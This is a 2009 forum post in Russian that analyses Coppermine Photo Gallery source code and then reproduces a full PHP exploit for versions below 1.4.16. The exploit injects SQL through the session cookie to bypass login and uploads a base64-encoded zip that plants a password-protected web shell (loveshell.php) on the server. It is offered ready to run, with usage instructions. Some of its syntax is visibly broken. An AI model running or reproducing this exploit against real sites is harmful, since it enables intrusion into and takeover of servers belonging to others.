| [underwater] |
31.08.2009 19:21 |
Открываем файл include/init.inc.php:
Код:
$HTML_SUBST = array('&' => '&', '"' => '"', '<' => '<', '>' => '>', '%26' => '&', '%22' => '"', '%3C' => '<', '%3E' => '>','%27' => ''', "'" => ''');
$keysToSkip = array('_POST', '_GET', '_COOKIE', '_REQUEST', '_SERVER', 'HTML_SUBST');
if (get_magic_quotes_gpc()) {
if (is_array($_POST)) {
foreach ($_POST as $key => $value) {
if (!is_array($value))
$_POST[$key] = strtr(stripslashes($value), $HTML_SUBST);
if (!in_array($key, $keysToSkip) && isset($$key) && ini_get('register_globals') == '1') unset($$key);
}
}
if (is_array($_GET)) {
foreach ($_GET as $key => $value) {
unset($_GET[$key]);
$_GET[strtr(stripslashes($key), $HTML_SUBST)] = strtr(stripslashes($value), $HTML_SUBST);
if (!in_array($key, $keysToSkip) && isset($$key) && ini_get('register_globals') == '1') unset($$key);
}
}
if (is_array($_COOKIE)) {
foreach ($_COOKIE as $key => $value) {
if (!is_array($value))
$_COOKIE[$key] = stripslashes($value);
if (!in_array($key, $keysToSkip) && isset($$key) && ini_get('register_globals') == '1') unset($$key);
}
}
if (is_array($_REQUEST)) {
foreach ($_REQUEST as $key => $value) {
if (!is_array($value))
$_REQUEST[$key] = strtr(stripslashes($value), $HTML_SUBST);
if (!in_array($key, $keysToSkip) && isset($$key) && ini_get('register_globals') == '1') unset($$key);
}
}
} else {
if (is_array($_POST)) {
foreach ($_POST as $key => $value) {
if (!is_array($value))
$_POST[$key] = strtr($value, $HTML_SUBST);
if (!in_array($key, $keysToSkip) && isset($$key) && ini_get('register_globals') == '1') unset($$key);
}
}
if (is_array($_GET)) {
foreach ($_GET as $key => $value) {
unset($_GET[$key]);
$_GET[strtr(stripslashes($key), $HTML_SUBST)] = strtr(stripslashes($value), $HTML_SUBST);
if (!in_array($key, $keysToSkip) && isset($$key) && ini_get('register_globals') == '1') unset($$key);
}
}
if (is_array($_COOKIE)) {
foreach ($_COOKIE as $key => $value) {
if (!in_array($key, $keysToSkip) && isset($$key) && ini_get('register_globals') == '1') unset($$key);
}
}
if (is_array($_REQUEST)) {
foreach ($_REQUEST as $key => $value) {
if (!is_array($value))
$_REQUEST[$key] = strtr($value, $HTML_SUBST);
if (!in_array($key, $keysToSkip) && isset($$key) && ini_get('register_globals') == '1') unset($$key);
}
}
}
Теперь смотрим файл coppermine.inc.php:
Код:
$sessioncookie = $_COOKIE[$this->client_id];
// Create the session id by concat(session_cookie_value, client_id)
$session_id = $sessioncookie.$this->client_id;
......
// Check for valid session if session_cookie_value exists
if ($sessioncookie) {
// Check for valid session
$sql = 'select user_id from '.$this->sessionstable.' where session_id=md5("'.$session_id.'");';
Используем експлоит:
Код:
Coppermine Photo Gallery SQL注射+命令执行漏洞
漏洞影响 version < 1.4.16
欢迎访问 http://www.80sec.com
漏洞发现 jianxin#80sec.com
用法： php.exe exp.php www.80sec.com /cpg1416/
获得webshell地址在
http://www.80sec.com/cpg1416/plugins/loveshell.php
密码 shell
Good Luck :)
+------------------------------------------------------------------+
");
ini_set("max_execution_time",0);
error_reporting(7);
$blogpath="$argv[2]";
$server="$argv[1]";
$cookie='';
$evilzip="UEsDBBQAAAAIAGeTdDgKL31nOgAAADsAAAANAAAAbG92ZXNoZWxsLnBocLOxL8go4OVKLUvM0VCJD3INDHUNDolWL85IzclRj9W05uWyt+Pl8skvSwULKTjn56YWK3ikFqUqAgBQSwECFAAUAAAACABnk3Q4Ci99ZzoAAAA7AAAADQAAAAAAAAABACAAAAAAAAAAbG92ZXNoZWxsLnBocFBLBQYAAAAAAQABADsAAABlAAAAAAA=";
$evilzip=base64_decode($evilzip);
$data=<<
-----------------------------12345671234567
Content-Disposition: form-data; name="plugin"; filename="c:\\1.zip"
Content-Type: application/x-zip-compressed
$evilzip
-----------------------------12345671234567
www_80sec_com;
$temp=send('',"index.php");
preg_match_all('/Set-Cookie: ([a-f0-9]+)=/i',$temp,$cookiepre);
$cookiepre=$cookiepre[1][0];
if($cookiepre){
echo "Make Evil Data!\t\r\n";
$cookie=$cookiepre.'='.urlencode('")union/**/select/**/1/*;');
}
echo "Make Evil Shell!\t\r\n";
send($data,"pluginmgr.php?op=upload",'multipart/form-data; boundary=---------------------------12345671234567');
$shell="http://$server".$blogpath."plugins/loveshell.php";
echo "Look at $shell :) \r\n";
echo "Or login with cookie ".urlencode('")union/**/select/**/1/*;')."\r\n";
function send($cmd,$script,$type='')
{
global $blogpath,$server,$cookie,$count,$useragent,$debug,$evilip;
$type ? $content=$type : $content="application/x-www-form-urlencoded";
$path=$blogpath."$script";
$message = "POST ".$path." HTTP/1.1\r\n";
$message .= "Accept: */*\r\n";
$message .= "Accept-Language: zh-cn\r\n";
$message .= "Referer: http://".$server.$path."\r\n";
$message .= "Content-Type: $content\r\n";
$message .= "User-Agent: ".$useragent."\r\n";
$message .= "Host: ".$server."\r\n";
$message .= "Content-length: ".strlen($cmd)."\r\n";
$message .= "Connection: Keep-Alive\r\n";
$message .= "Cookie: ".$cookie."\r\n";
$message .= $evilip."\r\n";
$message .= $cmd."\r\n";
//echo $message;
$fd = fsockopen( $server, 80 );
fputs($fd,$message);
$resp = "
";
while($fd&&!feof($fd)) {
$resp .= fread($fd,1024);
}
fclose($fd);
$resp .="
";
if($debug) {echo $cmd;echo $resp;}
//echo $resp;
return $resp;
}
?>
|
